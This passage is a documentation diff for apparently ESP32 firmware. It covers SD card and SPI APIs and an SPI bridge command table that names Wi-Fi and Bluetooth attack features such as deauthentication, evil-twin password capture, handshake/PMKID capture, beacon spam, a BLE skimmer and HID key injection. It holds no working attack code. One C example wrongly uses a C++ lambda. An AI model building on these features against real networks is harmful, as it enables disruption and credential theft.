+**Warning:** `format_if_failed=true` erases all data on mount failure. + +--- + +#### `sd_init_custom_pins` +```c +esp_err_t sd_init_custom_pins(int mosi, int miso, int clk, int cs); +``` +**Deprecated:** Custom pins not supported with shared SPI driver. + +--- + +### Deinitialization + +#### `sd_deinit` +```c +esp_err_t sd_deinit(void); +``` +Unmounts SD card and releases resources. Close all files first. + +**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_FAIL`. + +--- + +### Status & Maintenance + +#### `sd_is_mounted` +```c +bool sd_is_mounted(void); +``` +Checks if SD card is mounted. + +--- + +#### `sd_remount` +```c +esp_err_t sd_remount(void); +``` +Unmounts and remounts SD card (useful for error recovery). + +--- + +#### `sd_check_health` +```c +esp_err_t sd_check_health(void); +``` +Performs basic health check. + +--- + +#### `sd_reset_bus` +```c +esp_err_t sd_reset_bus(void); +``` +**Not Supported:** Returns `ESP_ERR_NOT_SUPPORTED`. Use `sd_remount()` instead. + +--- + +### Advanced Access + +#### `sd_get_card_handle` +```c +sdmmc_card_t* sd_get_card_handle(void); +``` +Returns pointer to internal SDMMC card structure. Returns `NULL` if not mounted. + +**Warning:** Direct manipulation can interfere with VFS operations. + +--- + +## Implementation Details + +### SPI Configuration +```c +spi_device_config_t sd_cfg = { + .cs_pin = SD_CARD_CS_PIN, + .clock_speed_hz = 20000 * 1000, + .mode = 0, + .queue_size = 4, +}; +``` + +### Mount Configuration +```c +esp_vfs_fat_sdmmc_mount_config_t mount_config = { + .format_if_mount_failed = false, + .max_files = 5, + .allocation_unit_size = 16 * 1024, +}; +``` + +## Troubleshooting + +| Problem | Solutions | +|---------|-----------| +| `sd_init()` returns `ESP_FAIL` | Check card insertion, verify pins, try different card, enable debug logs | +| File operations fail | Check filesystem corruption, verify max_files limit, close file handles, try remount | +| Random disconnects | Check power supply, verify connections, reduce clock speed, add pull-ups | +| `sd_deinit()` fails | Close all file handles first, check for active tasks | + +## Usage Example + +```c +void storage_init(void) { + if (sd_init() == ESP_OK) { + ESP_LOGI(TAG, "SD card mounted"); + sd_dir_create("/sdcard/config"); + } else { + ESP_LOGE(TAG, "SD card mount failed"); + } +} +``` + +--- + +# SD Card Read Component + +Component for comprehensive SD card file reading operations. + +## Overview + +- **Location:** `components/storage/sd_card_read/` +- **Main Header:** `include/sd_card_read.h` +- **Dependencies:** `esp_vfs_fat`, `storage_sd` + +## Key Features + +- **Text Reading:** Entire files, specific lines, line-by-line processing +- **Binary Reading:** Raw data, chunks, individual bytes +- **Type Conversion:** Direct reading of integers, floats +- **Content Search:** String search and occurrence counting +- **Flexible Paths:** Automatic `/sdcard` prefix for relative paths + +## Configuration + +```c +#define MAX_PATH_LEN 256 // Maximum path length +#define MAX_LINE_LEN 512 // Maximum line length +``` + +## API Reference + +### Text Reading + +#### `sd_read_string` +```c +esp_err_t sd_read_string(const char *path, char *buffer, size_t buffer_size); +``` +Reads entire file as null-terminated string. + +--- + +#### `sd_read_line` +```c +esp_err_t sd_read_line(const char *path, char *buffer, size_t buffer_size, uint32_t line_number); +``` +Reads specific line (1-based index). + +--- + +#### `sd_read_first_line` +```c +esp_err_t sd_read_first_line(const char *path, char *buffer, size_t buffer_size); +``` +Reads first line. Equivalent to `sd_read_line(path, buffer, size, 1)`. + +--- + +#### `sd_read_last_line` +```c +esp_err_t sd_read_last_line(const char *path, char *buffer, size_t buffer_size); +``` +Reads last line. + +--- + +#### `sd_read_lines` +```c +typedef void (*sd_line_callback_t)(const char *line, void *user_data); +esp_err_t sd_read_lines(const char *path, sd_line_callback_t callback, void *user_data); +``` +Processes each line via callback. Memory-efficient for large files. + +--- + +#### `sd_count_lines` +```c +esp_err_t sd_count_lines(const char *path, uint32_t *line_count); +``` +Counts total lines in file. + +--- + +### Binary Reading + +#### `sd_read_binary` +```c +esp_err_t sd_read_binary(const char *path, void *buffer, size_t size, size_t *bytes_read); +``` +Reads raw binary data. + +--- + +#### `sd_read_chunk` +```c +esp_err_t sd_read_chunk(const char *path, size_t offset, void *buffer, size_t size, size_t *bytes_read); +``` +Reads data chunk from specific offset. + +--- + +#### `sd_read_bytes` +```c +esp_err_t sd_read_bytes(const char *path, uint8_t *bytes, size_t max_count, size_t *count); +``` +Alias for `sd_read_binary` with byte array typing. + +--- + +#### `sd_read_byte` +```c +esp_err_t sd_read_byte(const char *path, uint8_t *byte); +``` +Reads single byte. + +--- + +### Type Conversion + +#### `sd_read_int` +```c +esp_err_t sd_read_int(const char *path, int32_t *value); +``` +Reads and converts to 32-bit integer. + +--- + +#### `sd_read_float` +```c +esp_err_t sd_read_float(const char *path, float *value); +``` +Reads and converts to float. + +--- + +### Content Search + +#### `sd_file_contains` +```c +esp_err_t sd_file_contains(const char *path, const char *search, bool *found); +``` +Checks if string exists in file. + +--- + +#### `sd_count_occurrences` +```c +esp_err_t sd_count_occurrences(const char *path, const char *search, uint32_t *count); +``` +Counts string occurrences in file. + +--- + +## Implementation Details + +- Line functions allocate 512-byte stack buffers +- Use `sd_read_lines()` callback for large files +- Thread-safe for different files +- Automatic path formatting (relative → absolute) + +## Usage Example + +```c +void process_config(void) { + char buffer[256]; + + // Read entire file + if (sd_read_string("/config/settings.txt", buffer, sizeof(buffer)) == ESP_OK) { + printf("Config: %s\n", buffer); + } + + // Process line-by-line + sd_read_lines("/logs/system.log", [](const char *line, void *ctx) { + printf("Log: %s\n", line); + }, NULL); +} +``` + +--- + +# SD Card Write Component + +Component for comprehensive SD card file writing operations. + +## Overview + +- **Location:** `components/storage/sd_card_write/` +- **Main Header:** `include/sd_card_write.h` +- **Dependencies:** `esp_vfs_fat`, `storage_sd` + +## Key Features + +- **Text Writing:** Strings, lines, formatted text +- **Binary Writing:** Raw data, buffers, individual bytes +- **Append Operations:** Add to existing files +- **Formatted Output:** Printf-style writing +- **CSV Support:** Simplified row writing + +## API Reference + +### Text Writing + +#### `sd_write_string` / `sd_append_string` +```c +esp_err_t sd_write_string(const char *path, const char *data); +esp_err_t sd_append_string(const char *path, const char *data); +``` +Writes or appends string. + +--- + +#### `sd_write_line` / `sd_append_line` +```c +esp_err_t sd_write_line(const char *path, const char *line); +esp_err_t sd_append_line(const char *path, const char *line); +``` +Writes or appends line with automatic newline. + +--- + +#### `sd_write_formatted` / `sd_append_formatted` +```c +esp_err_t sd_write_formatted(const char *path, const char *format, ...); +esp_err_t sd_append_formatted(const char *path, const char *format, ...); +``` +Printf-style formatted writing. + +--- + +### Binary Writing + +#### `sd_write_binary` / `sd_append_binary` +```c +esp_err_t sd_write_binary(const char *path, const void *data, size_t size); +esp_err_t sd_append_binary(const char *path, const void *data, size_t size); +``` +Writes or appends binary data. + +--- + +#### `sd_write_buffer` +```c +esp_err_t sd_write_buffer(const char *path, const void *buffer, size_t size); +``` +Alias for `sd_write_binary`. + +--- + +#### `sd_write_bytes` +```c +esp_err_t sd_write_bytes(const char *path, const uint8_t *bytes, size_t count); +``` +Writes byte array. + +--- + +#### `sd_write_byte` +```c +esp_err_t sd_write_byte(const char *path, uint8_t byte); +``` +Writes single byte. + +--- + +### Type Helpers + +#### `sd_write_int` +```c +esp_err_t sd_write_int(const char *path, int32_t value); +``` +Writes integer as decimal text. + +--- + +#### `sd_write_float` +```c +esp_err_t sd_write_float(const char *path, float value); +``` +Writes float with 6 decimal places. + +--- + +### CSV Support + +#### `sd_write_csv_row` / `sd_append_csv_row` +```c +esp_err_t sd_write_csv_row(const char *path, const char **columns, size_t num_columns); +esp_err_t sd_append_csv_row(const char *path, const char **columns, size_t num_columns); +``` +Writes or appends CSV row (comma-separated with newline). + +--- + +## Implementation Details + +- All writes verify byte count matches expected size +- Automatic `/sdcard` prefix for relative paths +- Buffers flushed automatically on file close + +## Usage Example + +```c +void log_event(const char *type, const char *msg) { + time_t now = time(NULL); + sd_append_formatted("/logs/events.log", "[%ld] %s: %s\n", now, type, msg); +} + +void save_sensor_data(float temp, float humidity) { + const char *row[] = { + "Temperature", "Humidity" + }; + sd_write_csv_row("/data/sensors.csv", row, 2); + + char temp_str[16], hum_str[16]; + snprintf(temp_str, sizeof(temp_str), "%.2f", temp); + snprintf(hum_str, sizeof(hum_str), "%.2f", humidity); + + const char *data[] = {temp_str, hum_str}; + sd_append_csv_row("/data/sensors.csv", data, 2); +} +``` + +--- + +# SD Card File Management Component + +Component for comprehensive SD card file operations. + +## Overview + +- **Location:** `components/storage/sd_card_file/` +- **Main Header:** `include/sd_card_file.h` +- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `sdmmc`, `storage_sd` + +## Key Features + +- **File Operations:** Create, delete, rename, move, copy +- **Metadata Access:** Size, modification time, attributes +- **File Comparison:** Byte-by-byte comparison +- **File Truncation:** Resize to specific length +- **Utilities:** Check existence, get extensions, clear contents + +## Data Structures + +### `sd_file_info_t` +```c +typedef struct { + char path[256]; // Full path + size_t size; // File size in bytes + time_t modified_time; // Last modification time + bool is_directory; // Directory flag +} sd_file_info_t; +``` + +## API Reference + +### File Information + +#### `sd_file_exists` +```c +bool sd_file_exists(const char *path); +``` +Checks if file exists. + +--- + +#### `sd_file_get_info` +```c +esp_err_t sd_file_get_info(const char *path, sd_file_info_t *info); +``` +Retrieves complete file information. + +--- + +#### `sd_file_get_size` +```c +esp_err_t sd_file_get_size(const char *path, size_t *size); +``` +Gets file size in bytes. + +--- + +#### `sd_file_is_empty` +```c +esp_err_t sd_file_is_empty(const char *path, bool *is_empty); +``` +Checks if file has zero bytes. + +--- + +### File Manipulation + +#### `sd_file_delete` +```c +esp_err_t sd_file_delete(const char *path); +``` +Permanently deletes file. + +--- + +#### `sd_file_rename` +```c +esp_err_t sd_file_rename(const char *old_path, const char *new_path); +``` +Renames or moves file (same filesystem). + +--- + +#### `sd_file_move` +```c +esp_err_t sd_file_move(const char *src_path, const char *dst_path); +``` +Moves file (alias for rename). + +--- + +#### `sd_file_copy` +```c +esp_err_t sd_file_copy(const char *src_path, const char *dst_path); +``` +Copies file (source unchanged). + +--- + +#### `sd_file_truncate` +```c +esp_err_t sd_file_truncate(const char *path, size_t size); +``` +Resizes file to specified size. + +--- + +#### `sd_file_clear` +```c +esp_err_t sd_file_clear(const char *path); +``` +Clears all content (makes empty). + +--- + +### File Comparison + +#### `sd_file_compare` +```c +esp_err_t sd_file_compare(const char *path1, const char *path2, bool *are_equal); +``` +Byte-by-byte comparison. + +--- + +### Utilities + +#### `sd_file_get_extension` +```c +esp_err_t sd_file_get_extension(const char *path, char *extension, size_t size); +``` +Extracts file extension (without dot). + +--- + +## Implementation Details + +- Rename/move are atomic, copy is not +- Path buffer in `sd_file_info_t` is 256 bytes +- Not thread-safe - use mutexes for concurrent access + +## Usage Example + +```c +esp_err_t backup_config(void) { + const char *config = "/sdcard/config/settings.json"; + const char *backup = "/sdcard/backups/settings.json"; + + // Create backup + if (sd_file_copy(config, backup) != ESP_OK) { + return ESP_FAIL; + } + + // Verify backup + bool equal; + sd_file_compare(config, backup, &equal); + + return equal ? ESP_OK : ESP_FAIL; +} +``` \ No newline at end of file diff --git a/docs/spi/c5.md b/docs/spi/c5.md new file mode 100644 index 000000000..f4dc129d6 --- /dev/null +++ b/docs/spi/c5.md @@ -0,0 +1,53 @@ +# SPI Bus Driver + +This component acts as a central manager for the SPI bus, allowing multiple devices (Display, Radio, SD Card) to share the same SPI host safely and efficiently. + +## Overview + +- **Location:** `components/Drivers/spi/` +- **Header:** `include/spi.h` +- **Dependencies:** `driver/spi_master` +- **Host:** `SPI3_HOST` + +## Supported Devices (`spi_device_id_t`) + +1. **SPI_DEVICE_ST7789:** Display Driver +2. **SPI_DEVICE_CC1101:** Sub-GHz Radio +3. **SPI_DEVICE_SD_CARD:** Storage + +## API Reference + +### `spi_init` +```c +esp_err_t spi_init(void); +``` +Initializes the SPI bus (MOSI, MISO, SCLK) on `SPI3_HOST` using DMA Channel `Auto`. +- **Pins:** Defined in `pin_def.h`. +- **Max Transfer Size:** 32768 bytes. + +### `spi_add_device` +```c +esp_err_t spi_add_device(spi_device_id_t id, const spi_device_config_t *config); +``` +Adds a specific device to the initialized bus. +- **id:** Device identifier enum. +- **config:** Struct containing CS pin, clock speed, SPI mode, and queue size. + +### `spi_get_handle` +```c +spi_device_handle_t spi_get_handle(spi_device_id_t id); +``` +Retrieves the ESP-IDF `spi_device_handle_t` for a registered device ID. Useful for calling native ESP-IDF SPI functions. + +### `spi_transmit` +```c +esp_err_t spi_transmit(spi_device_id_t id, const uint8_t *data, size_t len); +``` +Performs a simple polling/blocking transmission to the specified device. +- **Note:** For high-performance display flushing, specific drivers (like `esp_lcd`) typically use their own transmission logic using the handle obtained via `spi_get_handle`. + +### `spi_deinit` +```c +esp_err_t spi_deinit(void); +``` +Removes all devices and frees the SPI bus resources. diff --git a/docs/spi/p4.md b/docs/spi/p4.md new file mode 100644 index 000000000..0eacc65a0 --- /dev/null +++ b/docs/spi/p4.md @@ -0,0 +1,54 @@ +# SPI Bus Driver + +This component acts as a central manager for the SPI bus, allowing multiple devices (Display, Radio, SD Card) to share the same SPI host safely and efficiently. + +## Overview + +- **Location:** `components/Drivers/spi/` +- **Header:** `include/spi.h` +- **Dependencies:** `driver/spi_master` +- **Host:** `SPI3_HOST` + +## Supported Devices (`spi_device_id_t`) + +1. **SPI_DEVICE_ST7789:** Display Driver +2. **SPI_DEVICE_CC1101:** Sub-GHz Radio +3. **SPI_DEVICE_SD_CARD:** Storage + +## API Reference + +### `spi_init` +```c +esp_err_t spi_init(void); +``` +Initializes the SPI bus (MOSI, MISO, SCLK) on `SPI3_HOST` using DMA Channel `Auto`. +- **Pins:** Defined in `pin_def.h`. +- **Max Transfer Size:** 32768 bytes. + +### `spi_add_device` +```c +esp_err_t spi_add_device(spi_host_device_t host, spi_device_id_t id, const spi_device_config_t *config); +``` +Adds a specific device to the initialized bus. +- **host:** SPI host device (SPI2_HOST, SPI3_HOST). +- **id:** Device identifier enum. +- **config:** Struct containing CS pin, clock speed, SPI mode, and queue size. + +### `spi_get_handle` +```c +spi_device_handle_t spi_get_handle(spi_device_id_t id); +``` +Retrieves the ESP-IDF `spi_device_handle_t` for a registered device ID. Useful for calling native ESP-IDF SPI functions. + +### `spi_transmit` +```c +esp_err_t spi_transmit(spi_device_id_t id, const uint8_t *data, size_t len); +``` +Performs a simple polling/blocking transmission to the specified device. +- **Note:** For high-performance display flushing, specific drivers (like `esp_lcd`) typically use their own transmission logic using the handle obtained via `spi_get_handle`. + +### `spi_deinit` +```c +esp_err_t spi_deinit(void); +``` +Removes all devices and frees the SPI bus resources. diff --git a/docs/spi_bridge/c5.md b/docs/spi_bridge/c5.md new file mode 100644 index 000000000..23e72602a --- /dev/null +++ b/docs/spi_bridge/c5.md @@ -0,0 +1,71 @@ +# SPI Bridge - C5 Slave + +This component transforms the **ESP32-C5** into a high-performance radio co-processor for the ESP32-P4. + +## How it Works +The C5 runs a background task (`spi_bridge_task`) that stays in a blocked state waiting for the P4 to send SPI bytes. + +1. **Reception**: When bytes arrive, the task validates the `0xAA` sync byte. +2. **Routing**: It switches on the `Category` byte and routes the payload to the appropriate **Dispatcher** (WiFi or Bluetooth); the `Op` byte selects the operation within that dispatcher. +3. **Execution**: The Dispatcher executes the radio command (e.g., starts a scan). +4. **Notification**: Once the command is done (or results are ready), the C5 raises the **IRQ (Handshake)** pin. +5. **Response**: The P4 sees the IRQ, sends a dummy SPI clock, and the C5 "pushes" the response packet back. + +## Memory Mapping (Zero-Copy Results) +The C5 uses a `current_data_source` pointer system. Instead of copying large scan lists into a bridge buffer, the Dispatcher simply points the bridge to the existing result array in memory: +```c +spi_bridge_provide_results(wifi_records, count, sizeof(wifi_ap_record_t)); +``` +The bridge then serves these items one by one when the P4 asks for them via the generic `SPI_ID_SYSTEM_DATA` command. + +## Key Files +- `spi_bridge.c`: Main task and generic data provider logic. +- `wifi_dispatcher.c`: Logic to translate SPI IDs to WiFi driver calls. +- `bt_dispatcher.c`: Logic to translate SPI IDs to NimBLE/BT calls. +- `spi_slave_driver.c`: Low-level peripheral configuration. +- `session_manager.c`: Session lifecycle for long-running operations + (heartbeat watchdog + backpressure). See "Session Lifecycle" below. + +## Command Categories +The `Category` header byte (`spi_cat_t`) selects the subsystem; the `Op` byte +selects the operation within it. Together they pack into `spi_id_t` via +`SPI_CMD(cat, op)`. +- `0x00`: System/Bridge management (ping, status, version, data, stream). +- `0x01`: WiFi operations. +- `0x02`: Bluetooth operations. +- `0x03`: LoRa operations. +- `0x04`: Meshtastic phone bridge. +- `0x05`: MeshCore phone bridge. +- `0xFF`: Session lifecycle (heartbeat, lost, stop). + +## Session Lifecycle (Long-Running Operations) + +For full design and migration recipe, see the +[P4 README "Session Lifecycle" section](../../../../firmware_p4/components/Service/spi_bridge/README.md#session-lifecycle-long-running-operations). +The two sides share `spi_protocol.h` so the wire format is identical. + +### Slave responsibilities (this side) + +The `session_manager` runs a background watchdog that auto-kills sessions +when the master stops sending heartbeats (5s timeout). Each long-running +operation must: + +1. Call `session_manager_start(op_id, kill_cb)` from its dispatcher case + to obtain a `session_id`. The dispatcher returns this id to the master + inside an `spi_session_resp_t` response payload. +2. Provide a `kill_cb(spi_id_t)` that calls the op's `_stop()` — invoked + by the watchdog when the master goes quiet, and also when the master + sends `SPI_ID_SESSION_STOP`. +3. **Streaming ops only**: store the id in the op (e.g. via a + `_bind_session(uint32_t)` setter) and emit packets via + `session_manager_try_emit(s_session_id, data, len)` instead of raw + `spi_bridge_stream_push` — this prefixes meta and applies backpressure. + +For non-streaming ops (deauther, flood, evil_twin, beacon_spam, etc.), +the `kill_cb` lives in the dispatcher itself — the op's `.c` file does +not need to know about sessions at all. + +References: +- Streaming pattern: `wifi_sniffer.c`, `ble_sniffer.c`. +- Non-streaming pattern: see the `killed_*` static functions plus the + `open_session()` / `bt_open_session()` helpers in the dispatchers. diff --git a/docs/spi_bridge/p4.md b/docs/spi_bridge/p4.md new file mode 100644 index 000000000..b22256d64 --- /dev/null +++ b/docs/spi_bridge/p4.md @@ -0,0 +1,500 @@ +# SPI Bridge - P4 Master + +This component manages the high-speed communication link between the **ESP32-P4 (Main OS)** and the **ESP32-C5 (Radio Co-processor)**. + +## Architecture +The P4 acts as the **SPI Master**. It is responsible for: +1. Generating the SCLK and managing the CS line. +2. Initiating all command transfers. +3. Handling the **IRQ (Handshake)** signal from the C5 to know when response data is ready. +4. Managing the C5 lifecycle (Reset, Boot mode, and Firmware Updates via UART). + +## Protocol Specification +Every packet follows a 5-byte fixed header: +- `Sync (0xAA)`: Packet synchronization. +- `Type`: `0x01` (Command), `0x02` (Response), `0x03` (Stream). +- `Category`: Subsystem selector (`spi_cat_t`: WiFi `0x01`, BT `0x02`, …). The C5 + routes a command to a dispatcher by this byte alone. +- `Op`: Operation within the category. +- `Length`: Size of the following payload (0-255 bytes). + +`Category` + `Op` together form the packed command identifier (`spi_id_t`), +built via `SPI_CMD(cat, op)`. Use `spi_header_cmd()` / `spi_header_set_cmd()` to +read/write the pair as a single 16-bit value. + +## Command Reference + +Every command's `spi_id_t` packs `Category` (high byte) and `Op` (low byte) via `SPI_CMD(cat, op)`. On the wire those are the 3rd and 4th header bytes; in code use the single 16-bit `SPI_ID_*` constant. + +### System (`0x00`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_SYSTEM_PING` | `0x01` | `0x0001` | +| `SPI_ID_SYSTEM_STATUS` | `0x02` | `0x0002` | +| `SPI_ID_SYSTEM_REBOOT` | `0x03` | `0x0003` | +| `SPI_ID_SYSTEM_VERSION` | `0x04` | `0x0004` | +| `SPI_ID_SYSTEM_DATA` | `0x05` | `0x0005` | +| `SPI_ID_SYSTEM_STREAM` | `0x06` | `0x0006` | + +### WiFi (`0x01`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_WIFI_SCAN` | `0x10` | `0x0110` | +| `SPI_ID_WIFI_CONNECT` | `0x11` | `0x0111` | +| `SPI_ID_WIFI_DISCONNECT` | `0x12` | `0x0112` | +| `SPI_ID_WIFI_GET_STA_INFO` | `0x13` | `0x0113` | +| `SPI_ID_WIFI_SET_AP` | `0x14` | `0x0114` | +| `SPI_ID_WIFI_START` | `0x15` | `0x0115` | +| `SPI_ID_WIFI_STOP` | `0x16` | `0x0116` | +| `SPI_ID_WIFI_SAVE_AP_CONFIG` | `0x17` | `0x0117` | +| `SPI_ID_WIFI_SET_ENABLED` | `0x18` | `0x0118` | +| `SPI_ID_WIFI_SET_AP_PASSWORD` | `0x19` | `0x0119` | +| `SPI_ID_WIFI_SET_AP_MAX_CONN` | `0x1A` | `0x011A` | +| `SPI_ID_WIFI_SET_AP_IP` | `0x1B` | `0x011B` | +| `SPI_ID_WIFI_PROMISC_START` | `0x1C` | `0x011C` | +| `SPI_ID_WIFI_PROMISC_STOP` | `0x1D` | `0x011D` | +| `SPI_ID_WIFI_CH_HOP_START` | `0x1E` | `0x011E` | +| `SPI_ID_WIFI_CH_HOP_STOP` | `0x1F` | `0x011F` | +| `SPI_ID_WIFI_APP_SCAN_AP` | `0x20` | `0x0120` | +| `SPI_ID_WIFI_APP_SCAN_CLIENT` | `0x21` | `0x0121` | +| `SPI_ID_WIFI_APP_BEACON_SPAM` | `0x22` | `0x0122` | +| `SPI_ID_WIFI_APP_DEAUTHER` | `0x23` | `0x0123` | +| `SPI_ID_WIFI_APP_FLOOD` | `0x24` | `0x0124` | +| `SPI_ID_WIFI_APP_SNIFFER` | `0x25` | `0x0125` | +| `SPI_ID_WIFI_APP_EVIL_TWIN` | `0x26` | `0x0126` | +| `SPI_ID_WIFI_APP_DEAUTH_DET` | `0x27` | `0x0127` | +| `SPI_ID_WIFI_APP_PROBE_MON` | `0x28` | `0x0128` | +| `SPI_ID_WIFI_APP_SIGNAL_MON` | `0x29` | `0x0129` | +| `SPI_ID_WIFI_SNIFFER_SET_SNAPLEN` | `0x2B` | `0x012B` | +| `SPI_ID_WIFI_SNIFFER_SET_VERBOSE` | `0x2C` | `0x012C` | +| `SPI_ID_WIFI_SNIFFER_SAVE_FLASH` | `0x2D` | `0x012D` | +| `SPI_ID_WIFI_SNIFFER_SAVE_SD` | `0x2E` | `0x012E` | +| `SPI_ID_WIFI_SNIFFER_FREE_BUFFER` | `0x2F` | `0x012F` | +| `SPI_ID_WIFI_SNIFFER_STREAM_SD` | `0x30` | `0x0130` | +| `SPI_ID_WIFI_SNIFFER_CLEAR_PMKID` | `0x31` | `0x0131` | +| `SPI_ID_WIFI_SNIFFER_GET_PMKID_BSSID` | `0x32` | `0x0132` | +| `SPI_ID_WIFI_SNIFFER_CLEAR_HANDSHAKE` | `0x33` | `0x0133` | +| `SPI_ID_WIFI_SNIFFER_GET_HANDSHAKE_BSSID` | `0x34` | `0x0134` | +| `SPI_ID_WIFI_DEAUTH_STATUS` | `0x35` | `0x0135` | +| `SPI_ID_WIFI_DEAUTH_SEND_RAW` | `0x36` | `0x0136` | +| `SPI_ID_WIFI_ASSOC_REQUEST` | `0x37` | `0x0137` | +| `SPI_ID_WIFI_DEAUTH_SEND_FRAME` | `0x38` | `0x0138` | +| `SPI_ID_WIFI_DEAUTH_SEND_BROADCAST` | `0x39` | `0x0139` | +| `SPI_ID_WIFI_TARGET_SCAN_START` | `0x3A` | `0x013A` | +| `SPI_ID_WIFI_TARGET_SCAN_STATUS` | `0x3B` | `0x013B` | +| `SPI_ID_WIFI_TARGET_SAVE_FLASH` | `0x3C` | `0x013C` | +| `SPI_ID_WIFI_TARGET_SAVE_SD` | `0x3D` | `0x013D` | +| `SPI_ID_WIFI_TARGET_FREE` | `0x3E` | `0x013E` | +| `SPI_ID_WIFI_PROBE_SAVE_FLASH` | `0x3F` | `0x013F` | +| `SPI_ID_WIFI_PROBE_SAVE_SD` | `0x40` | `0x0140` | +| `SPI_ID_WIFI_EVIL_TWIN_TEMPLATE` | `0x41` | `0x0141` | +| `SPI_ID_WIFI_EVIL_TWIN_HAS_PASSWORD` | `0x42` | `0x0142` | +| `SPI_ID_WIFI_EVIL_TWIN_GET_PASSWORD` | `0x43` | `0x0143` | +| `SPI_ID_WIFI_EVIL_TWIN_RESET_CAPTURE` | `0x44` | `0x0144` | +| `SPI_ID_WIFI_CLIENT_SAVE_FLASH` | `0x45` | `0x0145` | +| `SPI_ID_WIFI_CLIENT_SAVE_SD` | `0x46` | `0x0146` | +| `SPI_ID_WIFI_AP_SAVE_FLASH` | `0x47` | `0x0147` | +| `SPI_ID_WIFI_AP_SAVE_SD` | `0x48` | `0x0148` | +| `SPI_ID_WIFI_PORT_SCAN_TARGET_RANGE` | `0x49` | `0x0149` | +| `SPI_ID_WIFI_PORT_SCAN_TARGET_LIST` | `0x4A` | `0x014A` | +| `SPI_ID_WIFI_PORT_SCAN_NETWORK` | `0x4B` | `0x014B` | +| `SPI_ID_WIFI_PORT_SCAN_CIDR` | `0x4C` | `0x014C` | +| `SPI_ID_WIFI_PORT_SCAN_STOP` | `0x4D` | `0x014D` | +| `SPI_ID_WIFI_GET_MAC` | `0x4E` | `0x014E` | +| `SPI_ID_WIFI_GET_IP_INFO` | `0x4F` | `0x014F` | +| `SPI_ID_WIFI_EVIL_TWIN_TMPL_BEGIN` | `0xA0` | `0x01A0` | +| `SPI_ID_WIFI_EVIL_TWIN_TMPL_CHUNK` | `0xA1` | `0x01A1` | + +### Bluetooth (`0x02`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_BT_SCAN` | `0x50` | `0x0250` | +| `SPI_ID_BT_CONNECT` | `0x51` | `0x0251` | +| `SPI_ID_BT_DISCONNECT` | `0x52` | `0x0252` | +| `SPI_ID_BT_GET_INFO` | `0x53` | `0x0253` | +| `SPI_ID_BT_INIT` | `0x54` | `0x0254` | +| `SPI_ID_BT_DEINIT` | `0x55` | `0x0255` | +| `SPI_ID_BT_START` | `0x56` | `0x0256` | +| `SPI_ID_BT_STOP` | `0x57` | `0x0257` | +| `SPI_ID_BT_SET_RANDOM_MAC` | `0x58` | `0x0258` | +| `SPI_ID_BT_START_ADV` | `0x59` | `0x0259` | +| `SPI_ID_BT_STOP_ADV` | `0x5A` | `0x025A` | +| `SPI_ID_BT_SET_MAX_POWER` | `0x5B` | `0x025B` | +| `SPI_ID_BT_TRACKER_START` | `0x5C` | `0x025C` | +| `SPI_ID_BT_TRACKER_STOP` | `0x5D` | `0x025D` | +| `SPI_ID_BT_GET_ADDR_TYPE` | `0x5E` | `0x025E` | +| `SPI_ID_BT_SAVE_ANNOUNCE_CFG` | `0x5F` | `0x025F` | +| `SPI_ID_BT_APP_SCANNER` | `0x60` | `0x0260` | +| `SPI_ID_BT_APP_SNIFFER` | `0x61` | `0x0261` | +| `SPI_ID_BT_APP_SPAM` | `0x62` | `0x0262` | +| `SPI_ID_BT_APP_FLOOD` | `0x63` | `0x0263` | +| `SPI_ID_BT_APP_SKIMMER` | `0x64` | `0x0264` | +| `SPI_ID_BT_APP_TRACKER` | `0x65` | `0x0265` | +| `SPI_ID_BT_APP_GATT_EXP` | `0x66` | `0x0266` | +| `SPI_ID_BT_SPAM_LIST_LOAD` | `0x68` | `0x0268` | +| `SPI_ID_BT_SPAM_LIST_BEGIN` | `0x69` | `0x0269` | +| `SPI_ID_BT_SPAM_LIST_ITEM` | `0x6A` | `0x026A` | +| `SPI_ID_BT_SPAM_LIST_COMMIT` | `0x6B` | `0x026B` | +| `SPI_ID_BT_SCREEN_INIT` | `0x6C` | `0x026C` | +| `SPI_ID_BT_SCREEN_DEINIT` | `0x6D` | `0x026D` | +| `SPI_ID_BT_SCREEN_IS_ACTIVE` | `0x6E` | `0x026E` | +| `SPI_ID_BT_SCREEN_SEND_PARTIAL` | `0x6F` | `0x026F` | +| `SPI_ID_BT_L2CAP_STATUS` | `0x70` | `0x0270` | +| `SPI_ID_BT_HID_INIT` | `0x71` | `0x0271` | +| `SPI_ID_BT_HID_DEINIT` | `0x72` | `0x0272` | +| `SPI_ID_BT_HID_IS_CONNECTED` | `0x73` | `0x0273` | +| `SPI_ID_BT_HID_SEND_KEY` | `0x74` | `0x0274` | + +### LoRa (`0x03`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_LORA_RX` | `0x80` | `0x0380` | +| `SPI_ID_LORA_TX` | `0x81` | `0x0381` | + +### Meshtastic (`0x04`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_MESH_BLE_INIT` | `0x90` | `0x0490` | +| `SPI_ID_MESH_BLE_STOP` | `0x91` | `0x0491` | +| `SPI_ID_MESH_WIFI_INIT` | `0x92` | `0x0492` | +| `SPI_ID_MESH_WIFI_STOP` | `0x93` | `0x0493` | +| `SPI_ID_MESH_FROMRADIO_PUSH` | `0x94` | `0x0494` | +| `SPI_ID_MESH_LOG_PUSH` | `0x95` | `0x0495` | +| `SPI_ID_MESH_STATUS` | `0x96` | `0x0496` | +| `SPI_ID_MESH_TORADIO_STREAM` | `0x97` | `0x0497` | + +### MeshCore (`0x05`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_MCORE_BLE_INIT` | `0x98` | `0x0598` | +| `SPI_ID_MCORE_BLE_STOP` | `0x99` | `0x0599` | +| `SPI_ID_MCORE_TX_PUSH` | `0x9A` | `0x059A` | +| `SPI_ID_MCORE_RX_STREAM` | `0x9B` | `0x059B` | +| `SPI_ID_MCORE_STATUS` | `0x9C` | `0x059C` | + +### Session (`0xFF`) + +| Command | Op | `spi_id_t` | +|---------|----|------------| +| `SPI_ID_SESSION_HEARTBEAT` | `0xF0` | `0xFFF0` | +| `SPI_ID_SESSION_LOST` | `0xF1` | `0xFFF1` | +| `SPI_ID_SESSION_STOP` | `0xF2` | `0xFFF2` | + +## Frame Example + +The 5-byte header maps directly to `spi_header_t`: 